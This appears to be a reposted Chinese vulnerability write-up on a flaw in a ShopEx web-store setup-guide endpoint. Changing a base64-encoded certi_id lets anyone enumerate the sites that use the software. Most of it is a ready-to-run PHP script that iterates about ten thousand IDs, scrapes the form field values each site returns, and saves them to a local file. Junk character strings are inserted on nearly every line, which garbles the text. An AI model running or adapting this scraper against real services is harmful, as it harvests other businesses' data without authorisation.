ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
( ^/ J* E% _' W9 t4 v5 ]; z$ {ShopEx某接口缺陷,可遍历所有网站
( }# U) O8 P- B3 x9 o详细说明：
4 l$ t5 K! {+ S8 s% M问题出现在shopex 网店使用向导页面

# `# R$ j: o! I& `

- N  k5 H' Q! {http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



; \- T8 N) U) H, L4 f2 Qrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
+ h! w; v2 g% J4 j$ O3 k

( z9 @8 K- Z: e9 p
+ H% i0 F9 j6 Z我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

9 Y0 F) E( d* O% o

+ v( k% j! d* K2 C5 k<?php
# \- e$ y/ F, {' n4 o4 a% O& ^
! O! [! @3 S. d, K' x8 y/ ]3 W* ]/ p$ }                for ($i=1; $i < 10000; $i++) { //遍历

1 n& V; s3 i" x                        ShowshopExD($i);
# X% Z* s- S  c) ?
6 v% E; q$ A- {/ s# F) W( E1 v2 h                }
. u/ z& r% n, e" T- W
2 l9 |4 c1 v' j5 z/ ?1 Z  {/ Q                function ShowshopExD($cid) {
  x6 y( X: `8 u: E7 z/ O* D
                $url='http://guide.ecos.shopex.cn/step2.php';
# C8 {9 ?3 X* F' p7 k7 \
9 q! D8 A2 M, C/ R5 w: [6 j0 f; g) {                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
' ?+ ~2 f  q/ f0 v# E8 O' W2 d2 `( y( [' s
        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
3 e3 r( y, O5 k0 y2 Z! d
4 g! G. Y, n4 M/ w% Z        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
0 s+ U6 B5 @1 Z+ K  B* k
        $result = curl_exec($ch);

7 T4 j. h9 e- ]8 W' s        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

) K3 [1 i% C$ P* F# w        if(strpos($result,$refer))

        {
1 h( v6 b+ v5 k& Z. V% Q5 M( g
+ W' L; z* h% z' b7 W                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

5 g+ h1 o" B! L4 ]: u                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
6 o7 x2 J/ B' g9 t9 ^
! t# W, t6 z* m. A                foreach ($value[1] as $key) {
8 u+ n. `3 t( Q1 L1 ~( [/ _
, V( G' Z- u! L' g% u. b                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
. ]. E" X# p: }& V
, q: p0 X, @4 C& r$ ^/ P                        echo $res[1][0].':'.$res[3][0]."\r\n";

$ L6 w- v& Y/ m  v                        $col =$res[1][0].':'.$res[3][0]."\r\n";
3 q  h  y7 g( D6 Z6 M" s
; g2 w* w7 Z+ R9 B) j" l                        fwrite($fp, $col, strlen($col));
* V5 q/ p. o  o* x9 E3 Z
3 D5 Y6 Q% E3 }! e6 U! ]                }

                echo '--------------------------------'."\r\n";
$ K7 p9 ~* y) S1 D( D6 v
1 ?+ `* W: c4 M7 [! U! `4 a# I! `7 A) n                fclose($fp);

        }
9 _! l; t% t5 K' R9 L: @1 O
) }/ k. j% M) |/ V        flush();
( l1 V7 ~$ J6 \" ?
        curl_close($ch);

* [$ f4 J5 z9 ~3 p                }
* U+ j9 F0 V# l6 [+ [
?>
/ r" n. e7 M& N8 V1 P漏洞证明：
. G4 V3 O* G* z, U3 I, {http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
1 G  R) a+ o( L! x, f: u